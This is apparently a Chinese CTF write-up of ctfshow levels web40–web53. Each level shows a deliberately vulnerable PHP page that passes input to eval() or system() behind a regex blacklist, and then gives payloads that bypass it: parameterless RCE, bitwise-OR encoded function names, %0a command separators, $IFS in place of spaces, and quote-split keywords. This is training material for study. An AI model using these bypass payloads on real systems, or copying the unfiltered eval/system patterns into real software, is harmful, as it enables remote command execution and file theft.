eval 
web40 
<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
  
因为''等等被过滤了,相当于无参数rce  
/?c=var_dump(scandir(current(localeconv()))); 
  
 
 localeconv() 返回一包含本地数字及货币格式信息的数组,该数组第一个元素是.  current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。  
  
   读文件  
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
  
 
 array_reverse()函数以相反的元素顺序返回数组  next() 将内部指针指向数组中的下一个元素  
  
   理论上开启session对话的方式应该也可以,但是平台最近被xss了?可能cookie不能整了  
  
web41 
<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>
  
大佬写得通杀脚本  https://blog.csdn.net/miuzzx/article/details/108569080  [0-9]|[a-z]被过滤,所以应该是无数字字母的rce,$、+、-、^、~被过滤,所以用|  
phpinfo  
c=("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")()
  
   
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
  
      
system 
web42 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
  
/?c=ls;
/?c=cat *;
  
      
web43 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 
  
过滤了;用%0a,cat用ca\t  
/?c=ls%0a
/?c=ca\t *%0a
  
      
web44 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload  
/?c=ca\t *%0A
  
   
web45 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
 
 过滤空格的绕过如下:  $IFS  ${IFS}  $IFS$1 //
     
      
       
        
         1
        
        
         改
        
        
         成
        
       
       
        1改成
       
      
     1改成加其他数字貌似都行  <  <>  {cat,flag.php} //用逗号实现了空格功能  %20  %09  
  
payload  
/?c=ca\t$IFS*%0a
或者
/?c=ca\t%09*%0a
  
   
web46 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload  
/?c=ca\t%09fla''g.php%0a
  
   
web47 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload同上     
web48 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload同上  
?c=ca\t%09fla''g.php%0A
  
   
web49 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload同上  
/?c=ca\t%09fla''g.php%0A
或者
/?c=ca\t%3C%3Efla''g.php%0a
  
   
web50 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload同上  
/?c=ca\t%3C%3Efla''g.php%0a
  
   
web51 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
payload同上  
/?c=ca\t%3C%3Efla''g.php%0A
  
   
web52 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  
好家伙,试了半天发现flag.php里面是没有东西的,要读根目录下的flag文件  payload  
/?c=ca\t$IFS/fla''g%0a
/?c=nl$IFS/fla''g||
  
   
web53 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
  
payload  
/?c=c''at${IFS}fla''g.p''hp
  
  
                
                
                
        
        
    
 
 |